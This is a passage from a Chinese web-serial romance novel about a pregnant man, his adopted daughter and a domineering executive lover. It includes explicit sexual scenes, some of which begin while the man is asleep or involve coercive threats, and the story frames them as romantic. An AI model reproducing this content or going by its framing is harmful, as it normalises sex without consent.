高速公路却还要等一天才能通行,他们不得不推迟一天。 付钰宁知道温真回了老家,发来一个小狗双手恳求的表情包- 爸爸,可以给我买常德记的金菠萝酥吗?- 求求你了爸爸。 常德记的金菠萝酥是宁城很有名的点心,也是付钰宁曾经最爱吃的,他们搬去泾市很多年,付钰宁还时不时地怀念一下。 温真因为女儿的恳求心软得一塌糊涂- 好的,爸爸给你买。 他穿好衣服,出门的时候,碰见路明远。 “温先生,你要去什么地方?” “常德记?正好我听他们的点心很有名,也打算去买,这样吧,我去帮你买一份好了。” “那……谢谢,等回去,我把点心的钱和那五千块一起还给你。” 路明远笑,“五千块钱秦总已经转给我了。” “……转给你了。”温真垂下眼。 秦妄开完会,疲惫地捏了捏鼻梁,听见敲门声,走过去打开门。 路明远把一袋子点心举到他面前。 “秦总,这是温先生让我帮他带的。” 秦妄一言不发地拿过来,关上门,把袋子放在床旁边,然后地盯着熟睡中的温真。 过了会儿,他上床,先把温碍眼的衣服扒开,圆润肥嫩,两指夹捏着,用指腹的茧子刺激,嘬在嘴里啃咬,没一会脸便涌起晕红,急促地喘息,嘴巴主动朝他张开,秦妄两个指头探进去,扣弄他的喉管,接着又夹住他的舌头,往外拽,头皮蹭上去。 像是伸着舌头舔他的头皮一样…… 柔软极了的舌头和两片滑软的唇瓣,在他敏感的头皮上蹭弄亲吻着,秦妄肌肉弩张,胀跳着…… 这样放肆没多久,温真便满脸潮红地着睁开眼睛,然后又发现自己正在舔男人的脑袋,整个舌头都贴上面,舌根和唇瓣都酸麻极了,温真难堪地推他。 接着温真又发现衣扣被解开了,上面湿漉漉的。 自己睡着的时候…… 温真满脸通红地扣好衣扣。 “为什么不找我帮忙?”男人紧盯着他。 借钱,买东西……明明更应该找自己,为什么要找别人。 温真一愣,垂下眼睛。 “打算和我冷战到什么时候?” 温真抿紧唇。 男人眸色幽冷,掌心去摸他的孕肚,只是被他这样摸着,整个人便颤抖起来,至少身体是诚实的,秦妄想着,五个指头收拢,完全包握住。 脸庞被男人滋润成了桃粉色,半截雪白的臂膀露出来,羞耻惊慌地去推男人的胳膊,在男人眼里,不是反抗,而是欲拒还迎…… 拇指摩挲按压着,把玩一块玉石那样磋磨着…… 温真渗出汗珠,脚趾扣弄着床单,想躲又躲不开。 把自己的贴上去。 大了好几倍,几乎显得小而幼弱了,青筋盘旋着,贴着小温真蹭动,宽大的手掌将两个都拢在手里搓弄着。 第一次和别人这样…… 快速地擦磨着,一片灼烧滚烫…… 脑子要化掉了一样…… 温真连推他都没有力气了…… 细细密密的汗珠淌下来……很快来到了。 拇指死死按在上面。 温真紧紧攥着男人的衣服,神情痛苦而难耐,“……放开,求求你……” “还要和我冷战吗?” 温真又不回答了。 男人刺激他,却不让他痛快。 粉嫩的成了糜烂的红色,要坏掉的样子,整个人身体都因为被控制而痉挛哆嗦起来,憋胀得整个人要爆开了。 秦妄看他难受极了,也不肯松嘴,没忍心在折磨他,让他出来。 高速公路通了,他们上午收拾行李,下午出发,晚上到达泾市。 温真连家都没有回,便被男人带回了别墅。 秦妄耽搁了很多工作,一回来便开始披星戴月的忙,秦夫人打了好几个电话他都没接,还是秦舢亲自来找办公室堵他。 “怎么,你是不是忘了你还有个爸,还有个大哥了。” 过了舆论的风口,他又恢复了职位,也就原谅了秦妄对他的出言不逊。 “这都两个多星期了,也不说回家吃个饭,爸爸天天念叨你。” “没空。”秦妄看着文件,头也不抬。 “你不会还生他们两个的气吧?”秦舢问。 他是后来才得知原来是这两个人偷偷摸摸把秦妄的小情人给放跑了。 “爸让你回家吃饭就是为了这件事。” 秦妄合上文件。 *** 六点钟秦妄和秦舢前后进门。 秦舢脱下西装,“爸,我把人给你带回来了。” 秦富威拄着拐杖走出来,“是不是没好好吃饭?怎么瘦了?” “没啊,我刚称的,还胖了几斤。”秦舢回答完才意识到是问秦妄的,他哼了一声,“我就不是你儿子了?我瘦了也没见你关心几句。” “最近是累了点。”秦妄漫不经心道。 秦夫人从厨房出来,“回来了?快吃饭吧。” 秦夫人冲楼上喊,“宝章,宝章,快下来吃饭。” 不一会儿秦宝章从楼下一溜烟地跑下来。 秦舢瞪着他,“今天不是周四吗?怎么又回来?” “他说在学校睡不好,我就把他接回来了。”秦夫人道。 “别人在学校睡得都挺好的,就他睡得不好?你就惯他吧。”秦舢恨铁不成钢。 “哎呀!宝章现在正是长个子的时候,睡不好怎么行,再说,我明天就把他送回学校了,又不耽误他上课。” 吃得差不多了,秦夫人看了一眼秦富威,秦富威点头。 秦夫人道:“宝章,你先回房间吧。” “可是我没有吃完呢。” “等会儿再吃。” 秦宝章依依不舍地放下碗,回到房间后,又走出来,在二楼竖着耳朵听。 秦宝章知道宁宁的爸爸去宁城了,小叔竟然也去了宁城,还有上一次,宁宁的爸爸在岛城,小叔也在,这让他怀疑两个人的关系不一般。 “小妄,我和爸爸主要是想和你聊聊宁宁爸爸的事情。” 秦妄放下刀叉,慢条斯理地擦嘴。 “你没有说气话,他是真的怀孕了吗?” “五个月,胎儿已经成型。” 秦夫人面容复杂,“这样吧,什么时候有空请他到家里吃个饭,我们好好和他聊聊。” 这个时候秦妄的工作电话响了,秦妄没接,而是简明扼要道:“我可以带他回来吃饭。” “但你们态度不许高高在上。” “不能说任何会引起他胡思乱想的话。” “那是当然,那是当然。”秦夫人道:“你把我们想成什么了。” 秦妄看向秦富威。 秦夫人叫他,“爸。” 秦富威沉着脸,到底还是点了头。 而在二楼偷听的秦宝章惊讶地捂住嘴巴。 宁宁爸爸和小叔在一起了,而且宁宁爸爸还怀了他小叔的宝宝! 秦宝章一夜没睡,第二天精神抖擞,一直催促司机快点开,到校门口迫不及待地下车,一路冲到学校。教室里却没有看到付钰宁的人影。 秦宝章抓住陈垚的肩膀,“宁宁呢!” 陈垚甩开他,“秦宝章,你弄疼我了!” “她刚才被老师叫去办公室了!” 秦宝章放开他,一阵风地跑到办公室,正好碰见付钰宁和语文老师一起出来。 “秦宝章,你不在教室里,在这里干什么?” 秦宝章看了付钰宁一眼,“我马上回去,马上回去。” 刚进教室便打了上课铃,他没和付钰宁坐在一起,没办法和付钰宁说小话,打算写纸条,可又觉得那么大的事情写纸条太不郑重了,他一定要亲自告诉宁宁这个事情。 然而快下课时,语文老师又占用他们的课间要考试。 好不容易考完试,数学老师又拿着一沓子卷子进到班级里。 没完没了的考试,等秦宝章终于有机会和付钰宁说话时,秦宝章已经蔫吧了。 付钰宁看着他的数学卷子,“这道题还有这道题都错了,你这样还怎么上c大啊。” “对了,你上午急着找我要做什么?陈垚说你像发疯了。” 秦宝章猛地坐起来,“宁宁,我要和你说一件事。” “说之前,你能不能答应我,别因为我小叔而迁怒我。” “到底是什么事?”付钰宁凑到他脸上看,“秦宝章,你不会干了什么对不起我的事吧。” “我没有。”秦宝章道:“是我小叔。” “我小叔让你爸爸怀孕了!” *** 橙风工作室。 “温工,你能不能帮我看看,这个地方我怎么画都觉得不对。”阿美向温真求助。 “好,你先等我一会儿。”温真专注地看着自己的屏幕。 从宁城回来后,男人披星戴月地开始工作,他自己也开始忙,采风和进修都完成,一切准备妥当,温真便带着阿美和珍珍开会创作新作品,每天画得头昏脑涨,一坐便是一天。 他走到阿美的工位上,帮阿美看什么地方不对,改了两下,原本工作僵硬的人物便轻盈起来,阿美豁然开朗。 又再次意识到她和温真的差距。 珍珍坐在阿美的对面,她忙里偷闲,盯着温真贞静柔和的脸看,忽然道:“温工,你是不是胖了?” 闻言,阿美也道:“我也发觉了。” 温真脸庞微微泛红,回到自己座位上,“最近,吃的有点多。” 她们也没怀疑什么,而温真偷偷看着自己肚子,五个月了,子宫在迅速地长大中,压迫着他的五脏六腑,让他的肚子又圆又挺,已经非常显怀了,幸亏泾市也冷了,开始穿宽大的棉袄,还能遮一下。 正想着,温真接到电话,是林云打来的。 “宁宁爸爸,宁宁好像失踪了。” 39 ? 第 39 章 ◎紧绷的东西裹在他腿上。◎ 温真匆匆赶到学校。 “付钰宁没有和老师请假, 是趁着学校保安人员不注意偷偷跑出去的。”林云道。 学校保卫室,正放着一段付钰宁背着书包, 躲过保安走出校门的视频。 “林老师,你过来一下。”有老师在外面叫林云,林云应了一声,“好的。” “宁宁爸爸,你等我一会儿,我先出去一趟。” 温真脸色苍白的点头。 “叔叔, ”角落里的秦宝章眼圈红红的,扣着自己的手指头。 温真顿了一下,看向他。 “对不起, 都怪我, 我昨天晚上听见我妈妈说,你怀了小叔的宝宝, 我就把这件事, ” 秦宝章看温真的脸色越来越差, 声音也情不自禁地越来越小,“告诉了宁宁。” “都怪我,一点都没有考虑周全……不应该直接告诉宁宁的,我以为宁宁会和我一样开心,可是……” 秦宝章哽咽, 豆大的泪珠砸下来。 温真看他哭得可怜, 走过去,轻声安抚他,“宁宁……迟早会知道的, 不全是你的错。” 秦宝章哭得更厉害了, 举起胳膊擦眼泪, “我已经给我小叔打过电话了,他马上就过来……” 校门口,停下一辆库里南,秦妄下车,先是看见温真冻得苍白的脸,他从车里拿出来一个厚实的围巾,二话不说地围在温真脖子上,林云还有其他老师都在。 温真难为情挣动着,“别……” 秦妄强硬地不让他动,把围巾给他围好,包住他半张脸。 林云看了一眼又不动声色地移开视线。 “小叔……”秦宝章在一旁可怜巴巴地开口。 秦妄暂时没有搭理他。 “想一想,付钰宁心情不好会去什么地方。”秦妄问。 “……她可能去看她妈妈了。”温真低声道。 秦妄往泾市墓园的方向开,时不时看温真一眼。 温真一动不动地看着窗外。 生过一场大病的人,都很珍惜生命,他并不担心宁宁因为接受不了而自杀……他知道宁宁因为什么失踪后便猜到宁宁去了什么地方,之所以不着急过去,是不确定要不要给宁宁独处的时间,让她自己想通。 墓园四面环山,松树郁郁葱葱,灰色的天空偶尔划过几只飞鸟。 他们进去时候,正好一个殡仪车队出来,电子炮的声音震耳欲聋。 整整齐齐的墓碑排列着一路往上,隐约可以看见一个瘦小的身影蹲在那里。 秦宝章喊,“那个是宁宁吗?”问完他便要跑过去时,秦妄抓住他,沉声,“留在这里。” 温真自己一个人过去了。 秦宝章又开始抹眼泪,“小叔,对不起,都怪我。” “我不该偷听你们讲话,也不该把这件事告诉宁宁的。” 秦妄在他脸上胡乱揉了一通。 家里唯一的孩子,从小被宠到大,不会有再来一个弟弟妹妹后爸爸妈妈的爱被抢走的危机,所以便理所当然的认为,听到自己爸爸怀孕的消息,会和自己一样高兴。 如果真的要责怪,最应该怪的是他,毕竟是他让温真怀孕,也是他逼着温真留下孩子。 “她迟早要知道的。” 温真站在付钰宁的身后,轻轻地叫她,“……宁宁,你怎么不和爸爸说一声就到这里来了……” 付钰宁蹲在墓碑前,一动不动地盯着她妈妈的照片。 温真也看过去。 付钰宁的妈妈叫付若雅,小时候家境优渥,后来付爸做生意破产,付母操劳过度,还没等付若雅成年便去世了。 母亲去世后付爸开始酗酒,像是完全变了一个人,开始打骂付若雅。 那时候温真和父母经常听到付若雅的哭声,他爸爸看不过去,总是要拿着刀过去威胁付爸,付爸才会停止对付若雅的殴打,他妈妈把付若雅带到家里,给她涂药,包扎伤口…… 后来付爸半夜喝酒睡在路上冻死了,付若雅生活好过了一段时间,接着她谈了恋爱,那个男人对他很好,生下付钰宁后,男人也变了,变得和他爸爸一样。 他爸爸妈妈一直想要付若雅离婚,就在付若雅要听他们的话时,他爸爸妈妈出车祸去世了,那个时候他才十岁,家里的亲戚想要他们的房子,是付若雅一手抱着宁宁,一手护着他,把那些人一个一个赶走的…… 他太想爸爸妈妈,从家里的楼顶跳了下去,也是付若雅背着他去医院,没日没夜地照顾他,守着他。 付若雅得的病,医生说是因为常年累月心情抑郁悲苦才患上的。 温真现在还记得,瘦得只剩一副骨头架子的付若雅牢牢抓住他的手,嘴里一直念叨着,“宁宁,宁宁……” 她生前最放不下的就是付钰宁,他保证过,一定会好好照顾付钰宁……在他前二十多年的人生中,他唯一有过朦胧好感的人便是林云,可并没有打算结婚生子,他只想看付钰宁平安长大。 然而遇到秦妄之后,他整个人生都被打乱了。 “你知道了是吗?”温真轻轻地问。 付钰宁转过脸,目光从温真的脸滑落到腹部,穿着羽绒服也能明显看到圆润地凸起。 她一直以为他是吃胖了,没想到里面是一个宝宝。 付钰宁和付若雅长得很像,眼睛大大的,头发细软发黄,像个漂亮的洋娃娃的。 她这样盯着,温真不自在起来,可更多的是害怕。 他很害怕付钰宁会开口说,“爸爸,我不想让你有别的孩子。” 那他该怎么办? “爸爸,对不起,我不是故意让你担心的,我只是突然很想妈妈……” 温真很想抱住她,圆润的腹部让没办法蹲下身,只能目光怜爱地看着她。 “爸爸,你爱他吗?”付钰宁问。 爱吗? 温真眼眶发红…… 看他不回答,付钰宁又自顾自地道:“其实我刚知道,确实有一点接受不了,我虽然叫你爸爸,可是我们并没有血缘关系,可他不一样,他是你亲生的,血浓于水,我很害怕他会抢走你对我的爱。 可是我来看妈妈,忽然便想通了,你照顾我这么多年,那是你心底善良,并不是你亏欠我和妈妈的,如果你现在要把我送到福利院,谁也不能苛责你什么。” “送去福利院或者被陈国富卖掉换彩礼,那是我本来的命运,可是因为你,让我现在能够和正常孩子一样健健康康的,能够吃饱穿暖,还可以上学,我明明应该感恩的,可我不知不觉地把这些当成理所当然,还产生了希望你把孩子打掉这样自私可怕的念头……” 付钰宁哽咽起来。 温真心都揪起来了,“宁宁,爸爸不会把你送去福利院,也不会让你去找那个坏人的……” 付钰宁站起来,抹抹眼泪,“我知道你不会,所以才更难过……” 房子卖掉,为了让她接受更好的治疗,带着她离开家乡,搬到泾市,不舍得给自己买什么,攒下来的钱全部都给她治病买药了。 有时候她真希望温真自私一点,扔掉她算了。 别再这么辛苦了。 温真紧紧她抱在怀里,“爸爸很爱你,真的很爱你……” 温真带着付钰宁下来,付钰宁低着头,歉疚地道歉,“对不起,让你们担心了。” “没事的,宁宁,我们没有怪你。”秦宝章赶紧道。 “我送你们回学校。”秦妄看了一眼温真发红的眼睛。 温真带着付钰宁去找林云,十分内疚道:“林老师,实在对不起,因为家里发生了一点事情,宁宁有些接受不了,所以才偷偷跑出去的,给你们添麻烦了你们能不能别责罚她?” 林云叹口气,“这不是一件小事,责罚肯定是少不了的。” 温真还要解释,付钰宁道:“爸爸,是我做事不考虑后果,责罚也是应该的。” “你和……秦叔叔先回去吧。” 温真站在门外,一直看着付钰宁的背影走远了,才依依不舍地回头,然后对上男人灼灼的目光。 温真颤抖走过去,秦妄捧着他的脸,盯着他的眼睛,心疼地问,“哭过了。” 温真垂落眼帘。 “如果她让你打掉孩子,你会不会打掉?” 秦妄一字一句地问。 *** 偷偷跑出学校不是大事,付钰宁被通报批评,还要写三千字的检查。 课间时候,付钰宁低着头写检查,秦宝章一屁股挤走陈垚,坐在付钰宁的身边。 陈垚翻了一个大大的白眼,气冲冲地拿着水杯去接水了。 “宁宁。” “宁宁。”秦宝章叽叽咕咕地叫她。 终于忍受不了,付钰宁皱眉,“秦宝章,你烦不烦。” “你生我的气吗?” “我什么时候生你气了?” “那就好?我还以为我小叔让你爸爸在一起这件事,你会迁怒到我和我们全家人。” 付钰宁停下笔。 “你为什么觉得我会生气啊?”付钰宁奇怪地问。 “啊,你不生气吗?我一直觉得你希望你爸爸和林老师在一起。” “我也感觉温叔叔和林老师更配。”秦宝章道:“两个人都那么温柔……” 付钰宁顿了一会儿,“我之前也这么认为,可是我现在觉得,我爸爸和你小叔挺般配。” “啊?”秦宝章惊讶地睁大眼睛,“为什么?我小叔脾气可坏了,我爸爸和爷爷都不敢惹他。” 自知说错话的秦宝章猛地捂住嘴,又找补道:“不过我小叔除了脾气坏了一点,其他地方还是很好的。” “我爸爸性格很内敛,这么多年,今天还是第一次听他说爱我。” “他和林云性格相同,都是有什么话默默地憋在心里,所以才一直没有走到一起。” “但你觉得你小叔像是这种人?” 秦宝章摇头,“我小叔要是喜欢一个人,会直接冲到家里抢人的。” “真的,我听我妈妈说,我小叔小时候看上了另一个小朋友的玩具枪,他带着家里的佣人直接到那个小朋友家里把东西夺过来了,最后还是我爷爷带着礼物上门道歉。” “你小叔确实像这样的人。” “我爸爸他其实挺敏感,我病好打算去上学那段时间,我爸爸每天都郁郁寡欢,他很担心我因为生病而被人嘲笑,被人排挤……” “他还特别缺乏安全感,工作那么辛苦,他都不敢辞职,就是因为害怕,自己断了收入来源,会让我吃苦……” “但是这些他都不和我说,都是我自己猜出来的。” “如果他和林云在一起,都会把爱憋在心里,有误会也不解释,最后两人会患得患失,越来越疏远。” “如果和你小叔在一起……” “我小叔要是喜欢一个东西,占有欲很强的!我妈妈说,他小时候很喜欢一个机器人,谁都不能碰一下,多看一眼他都要生气!” “至少感情这方面他不会让你爸爸缺乏安全感。” “我小叔应该不是敏感的人,有时候我爸爸快被他气死了,他还问爸爸为什么生气。” “敏感的人只能和不敏感的人在一起,如果两个人都敏感,一会儿你猜我爱不爱你,一会儿我猜你爱不爱我,那样迟早会走向分道扬镳的。” 秦宝章豁然开朗地点头。 *** “温工,女儿找到了吗?”阿美和珍珍关切地问。 温真点头,“找到了。” “孩子找到就好,”石美青也走过来,“这都快下班了,你怎么还来一趟。” “有一点工作没有处理完……” “温工,你也太拼了。”珍珍小声地赞叹。 温真笑了笑,开始工作,到晚上七点钟才关掉电脑。 肚子还有一个宝宝,他不敢太辛劳。 公司下面停着一辆车,温真在原地站了一会儿才走过去,打开车门,坐上去。 是……男人给他配他的司机,每天接送他上下班。 工作日他都要回男人的别墅去住。 到了别墅,佣人正在整理男人的衣服,放在箱子里。 “温先生回来了,我去把饭端上来。” 温真轻声道:“不用了……我在公司吃过了。” 他沉默一会儿,问,“怎么突然收拾东西?” “秦先生说他要出差一趟,让我帮他整理一下衣服。” 出差…… 温真没再说什么,上了楼。 温真洗完澡,躺在床上,什么也没想,很快进入梦乡。 他睡得并不安稳,唇瓣一直被人啃咬,退也被湿漉漉的东西舔蹭着。 紧绷的东西裹在他退上,可偏偏中间凉丝丝,被人一直凝视着。 他蹙起眉,挣扎着想醒过来,可像是被梦魇住了一般,怎么也睁不开眼睛。 又很快感觉到一个圆滚滚,像鸡蛋的东西,碾蹭着挤开他紧闭的…… 40 ? 第 40 章 ◎床铺都变得冷冰冰◎ 温真睁开眼睛。 他一时没有看见人, 坐起来才看见男人跪立,手持着……自己的家居服没有了, 取而代之的是黑色的,女性才会穿的东西。 温真脸上涌起红晕,一下子紧闭起来,“……别这样。” 每到这种时刻,男人的脸便诡异的英俊,那双深邃的眼睛盯着他。 温真睫毛颤动……脸上的红晕更深了。 和之前强硬不同, 他没在继续下去,转而躺在温真身侧。温真是背对他躺的,以为又要被他霸道地转过来, 男人只是从背后抱住他。 “我明天要去海外出差……”男人脸贴在他肩膀上, 吮亲他的肩胛骨,留下深红色的痕迹。 “这次时间久一点……”说完, 他把温真搂得更紧了, 像是成了他的抱枕, 完全地圈拢在他怀里。 精神抖擞的紧贴在温真软绵绵的屁股上,这次大概要去一个月左右,或者更长,他没打算做什么。 只是一碰上去,那些嫩软的肉隔着细滑的布料便开始口及裹它。 温真也感受到了, 脸白一阵儿红一阵儿, 羞耻又难堪,一个男人却穿这种东西,他挣动着要脱掉。 男人粗糙宽大的掌心包住他的手, “不许脱。” “脱了我就进去。” 温真脸上挂着两团红晕, 一动也不敢动了。 温真从小到大并没有见过像他这样的人, 似乎不知道羞耻是什么东西,也不懂得在别人生气的时候应该离远一点。 “我走之后,你想回去住就回去住,让家里的佣人跟着你过去。” “赵程这次不跟我过去,你有什么事情找他。” “付钰宁十八岁了,已经成年,少操一点心。” “按时吃饭,不许对付。” “也不许熬夜画稿。” 这些话都是他要出远门时候嘱咐女儿的,现在成了被人嘱咐。 温真轻声问,“去……多久?” 秦妄盯着他的白皙泛红的耳朵,“……一个月。” 房间安静下来。 温真垂落眼帘,两个人从认识起,一直都是聚少离多的状态。 他的生活不会因为他离开而改变什么。 温真失神想着,秦妄含吃住了他的耳朵。 耳垂像是变成了一块珠子,被他含弄在齿间,仔仔细细地吮弄嘬吸着,酥麻的电流让温真身体一下子软掉了,不知道什么时候变成了这样不知羞耻的样子,被他一碰就开始…… 温真难堪地盖住自己的眼睛,很快又感受到粗糙的掌心按在他的大退上。 将他微微分开的退按紧,被子从腹部滑落到小退上,秦妄一低头便看见那双被裹在涩情之物里的退,更加匀称,泛着一层细腻的光泽。 孕育生命似乎成了滋润他的事情,让他的清瘦的体型变得有了一些rou感,尤其是退,退骨被裹了一层绵软的肉,被紧绷的丝袜勒出一圈括弧。 透过布料,能隐隐约约看到肉粉色。 那张惯常苍白的也开始泛着一种被滋润过的酡红,完全从当初颓丧消沉的青年变成了一个摄人心魄的妖精。 * 凌晨五点钟,一夜没睡的秦妄松开温真,在他眼睛轻轻亲吻。 温真的nei裤昨天晚上被他扔在一旁,此刻他团成一团塞到衬衣口袋里,穿上西装和大衣,拿着行李出了门。 与此同时,本应在熟睡的温真也睁开了眼睛。 冬天的五点天还完全黑着,空气冷得要结冰,秦妄站在车门前往二楼的主卧看。 路明远顶着两个黑眼圈叫他,“秦总。” 本来昨天晚上便该出发了,男人硬是推迟到早上。 秦妄上了车,心中忽然涌起一种从来没有过的感情——不舍得。 不舍得这种情绪让秦妄脸色沉郁。 路明远却有一种大仇得报的快感,现在知道离开老婆孩子远渡重洋出差那么久是什么滋味了吧。 车子刚开走,温真便匆匆地走下来,佣人看他穿得单薄,慌忙叫住他,可温真像是没有听见,脚步不停地走到大门口。 他站在门口,一动不动地看着那辆车子越来越远、越来越远,直到看不见。 佣人把厚毛毯盖在他身上,“温先生,回去吧,人已经走远了。” 半晌,温真才回过神。 他们认识了五个月,这五个月本就是聚少离多的状态。 或者说温真的人生大部分时间都没有他,他走了之后,温真回到自己的家,生活还是老样子,每天准时八点钟去上班,八点回到家。 周五接女儿回家。 “爸爸,我可以邀请秦宝章来家里玩吗?” 正失神的温真忽然听到女儿问。 “当然可以。”温真柔声。 温真同意后,周六秦宝章便登门了。 “温叔叔,我妈妈说这是第一次去别人家,空手去不合适,所以让我带点礼物吧。” 温真看着他大包小包的,“不用带东西的。” “等你回去,把这些东西也都拿走吧。” “可是我妈妈说一定要把东西给你们,叔叔,你就收下吧。” 温真见推脱不过,便算了。 秦宝章和付钰宁在客厅里写作业,温真到厨房里做饭。 秦宝章碰了碰付钰宁,“叔叔都怀孕了,怎么能做饭呢?当初我妈妈怀我的时候,我爸爸就让她躺在床上,什么也不让她干。” “我都说了我会做饭,我爸就是不肯,我也没办法。” “而且我感觉他最近心情有点低落,要是做饭能让他转移注意力那就让他做吧。” 吃完饭,秦宝章和付钰宁一起洗碗,温真坐在沙发上看电视。 付钰宁走出来,“爸爸,你怎么看国外的天气预报。” “爸爸,只是想看看。” 付钰宁也没多想什么。 下午写作业时候,秦宝章告诉她,“我小叔去国外出差了,这次要出差一个月,我妈还说什么工作有你爸爸重要。” “你小叔不会是去***出差了吧?” “对。” “你怎么知道?你爸爸告诉你的。” 付钰宁摇头。 怪不得要看国外的天气预报,怪不得这几天心情低落。 傍晚温真和女儿一起送秦宝章到小区门口,看着秦宝章上了家里的汽车上,两个人才回去。 回去的路上,付钰宁忽然问,“爸爸,你在想他吗?” 周日,付钰宁该返校了,她背上书包,沉甸甸的书包坠着她的肩膀,还拿着一个手提袋。 “爸爸还是去送你吧。”温真担心道:“把这个给爸爸,爸爸帮你拿。” “我自己可以,我们班上的同学都是自己返校的。”只有她,到高三还是温真送她。 “公交车那么挤,要是让你肚子里的宝宝不舒服怎么办……”付钰宁说完,便快速地出门。 温真知道自己之前太过于关心女儿,这个时候也该是放手的时候了,温真在后面紧追几步,“那你注意安全,别在校门口停留太长时间。” 付钰宁回头冲他挥手,“知道了爸爸。” 女儿走后,家里只剩下温真一个人,温真坐在沙发上看着国外的新闻,一直到天黑了才起身,回到卧室,除了忧心女儿外,温真的睡眠一向很好,可是现在他躺在床上,翻来覆去,最后睁着眼睛看着天花板…… 第二天上班的时候,温真接到盛强电话。 “唐泽川的公司已经搬到泾市了,你现在是不是已经入职了?”盛强在那边问。 “老师,我没有。” “啊,你拒绝他了?”盛强有点不可思议还有点惋惜,“不过你是个有自己主意的人,拒绝他肯定也是充分考虑过了。” “既然当不成合作伙伴,但还是朋友,到时候你们有空了可以约着聊聊,他在业界有名望的,你多和他接触,肯定不会吹亏。” 唐泽川最后和他说的那些话,并不算太体面,温真不认为他还想要再见他。 倒也是巧合,下午石美青要带他去一个他们行业的沙龙聚会。 去参加的都是行业里的大拿,石美青希望温真能过得到更多赏识。 沙龙聚会举办在一个俱乐部里,石美青和温真到的时候,成员都来齐了。 举办者给他们卖了一个关子,“今天还有一个重量级的人物要来,你们猜猜是谁?” 大家连连说了几个名字,他都摇头,他接个电话,出去一趟,再回来身后跟着唐泽川。 “唐泽先生大家应该不陌生吧?” “他公司搬到了泾市,以后打算在泾市发展,所以这次我特地邀请他过来,好在唐泽先生够给面子。” 唐泽川依旧西装革履,得体礼貌,“哪里哪里,被您邀请是我的荣幸。” “唐泽先生真是客气啊,不过刚拿了奖吗?来这里真是蓬荜生辉。” 不知道谁又道:“最近拿奖的不是还有石总手下的……” 石美青笑着把温真推到大家面前,“他叫温真。” “记不住他的名字也没关系,以后他的名字以后会高频次出现的。” 温真并不喜欢,也不适应这种场合,不过他还是礼貌地向在场的人一一微笑。 “唐泽先生应该也听说过温真吧。”有人问。 唐泽川保持着笑容,“没听说过。” “不过我最近倒是认识了一个很有才华的伙伴。” “很有才华的?是谁?” 入口那里又走过来一个西装革履的男人。 “原来是艾玛!” 石美青的脸色一变。 “我回国后这段时间,一直在找有才华的画手,但一直没有找到合适的,直到遇到艾玛,看了他的作品我有种心脏被狠狠一击的感觉。”唐泽川大加夸赞。 艾玛则是一副谦虚的作态。 “不过可惜,这么有才华的人却败给了一个新人。”石美青忍不住讽刺。 唐泽川笑了笑,“大众的喜爱只停留在浅显的表面上,艾玛先生的作品不受欢迎倒也正常。” “那你是说大众喜爱太俗气了是吗?”石美青反问。 唐泽川道:“我并不是这个意思。” 沙龙结束后,石美青还是生气,“这个唐泽川怎么回事?我之前还觉得他挺欣赏你的,今天怎么感觉有点针对你?” “可能是因为……我拒绝了他。”温真低声,“进修结束,他邀请我去他公司。” “原来如此。”石美青道:“因为被拒绝便开始诋毁,这人气量也太小了吧!” 接下来他们的新作《清心诀》正是上线,然而上线没多久,和他们同类型同题材的《无忧令》也跟着上线了。 阿美快速地翻看着,“这个《无忧令》是艾玛的作品。” 珍珍道:“他们是不是故意的?什么时候不上,偏偏等到我们上的时候上。” “这还有想吗?当然是故意的。” “不过我们能打败他一次,就能打败他第二次!”珍珍道。 “但这次艾玛的作品是唐泽川名下的公司出品的。”阿美凝重道。 “艾玛的名气和唐泽川名气加起来是非常不小的热度。” “不论如何都会给我们造成不小的影响。” “温工,你怎么看?” 他们正在开会,温真却跑了神,眉眼淡淡的一抹怅然。 “温工?” 温工回过神,略带一些歉疚开口,“以前我一直以为市场是资本说话,可是上次我们的作品获奖,又让我觉得,要想让观众满意,还是要靠好作品。” “这几个月我们的努力交出来的成果,应该能够经得起考验。” “对,”石美青附和,“一个人躺在床上死了,远远不如一个人斩妖出魔死掉有传奇性,我们的作品如果太顺利爆掉,那也没什么传奇性,但如果是打败了业界大拿唐泽川和艾玛爆了,那才振奋人心!” “就当他们是在给我们当垫脚石好了。” 公司里的人陆陆续续人走了,公司里的灯也灭了,温真关掉电脑,楼底下那辆专门接送他的车还在等着,温真坐上去,回到家里。 以前这个时候回到家,温真自己会做一些吃的,可是现在他既没有做饭的力气,躺在床上也睡不着…… 床铺都变得冷冰冰的,不知道是不是怀孕的原因,温真身体偶尔会涌起难为忍受的潮热,肚子里的宝宝也会躁动,现在那股潮热又来了……温真脸庞微红,拿出一件宽大的衬衣,放在自己旁边,脸贴在上去,轻轻抚摸着自己圆润的孕肚,安抚肚子里的宝宝。 等宝宝安静下来后,温真脸上红晕加深,羞耻地分开退,绕过男性的…… 闻着衬衣上男人的味道,指头轻轻碰上去…… 【📢作者有话说】 想老公了呜呜可怜的宝宝 40-50 41 ? 第 41 章 ◎对着男人的衣服在……◎ 昏暗的房间, 青年脸庞潮红,正咬住手背, 发出急促的喘息。 被子悄然滑落,露出雪白的孕肚,肚尖沁出一层汗珠,和小臂蹭在一起,手消失在中间,轻轻戳开嫣红的, 已经泥泞,迫不及待地含吮住指头,水汪汪的, 抠破一个熟透的软桃那般, 汁液和果肉湿淋淋地流出来…… 手指细弱没有力量,没办法像……男人那样, 肆意摩挲他酸软的地方, 无力地脱落出来, 琥珀色的眼睛凝着一层水雾,轻轻咬住男人的衬衣。 这个时候温真才反应过来自己在做什么……他满脸难堪的红晕,遮挡住眼睛…… 什么时候变成了这样…… 竟然对着男人的衣服在…… *** 公司小型会议室里。 “温工,你看,从昨天晚上到现在, 评论区忽然多了很多黑粉, 对我们的剧情、人物,甚至上升到作者身上,不停地攻击辱骂。” 阿美随便找了两条给温真翻看。 “人物剧情稀碎, 搞不清楚主角在干什么, 不知道这样的作品为什么这么多人看, 脑残弱智。” “这都能推荐在绿漫首页上,是花钱买的热度的吧,还不如隔壁的无忧令,老牌的作者更适合我,走了走了。” “这种玩意儿也配和无忧令一起出现在首页上,怒打负分。” “宣传还说和《无忧令》是同类型,同题材,和《无忧令》差远了,还和《无忧令》同一天开,是为了蹭热度吧,不要脸!” 阿美翻着,几千条都是这类型的话术。 作品这种东西,既然是给观众看的,当然会有不好的评论,追更的读者如果认为剧情不符合自己的预期,或是踩中了自己雷点,大部分都会默默弃文,会有愤怒者会发表长篇大论,但一般有理有据地分析。 而不是像这样,连剧情是什么都不知道,便开始拉高踩低。 还有一些上升到人身攻击的骂得实在太脏了,阿美没敢给温真看。 “我们应该是被被买黑粉了。”阿美道。 温真脸色也不太好。 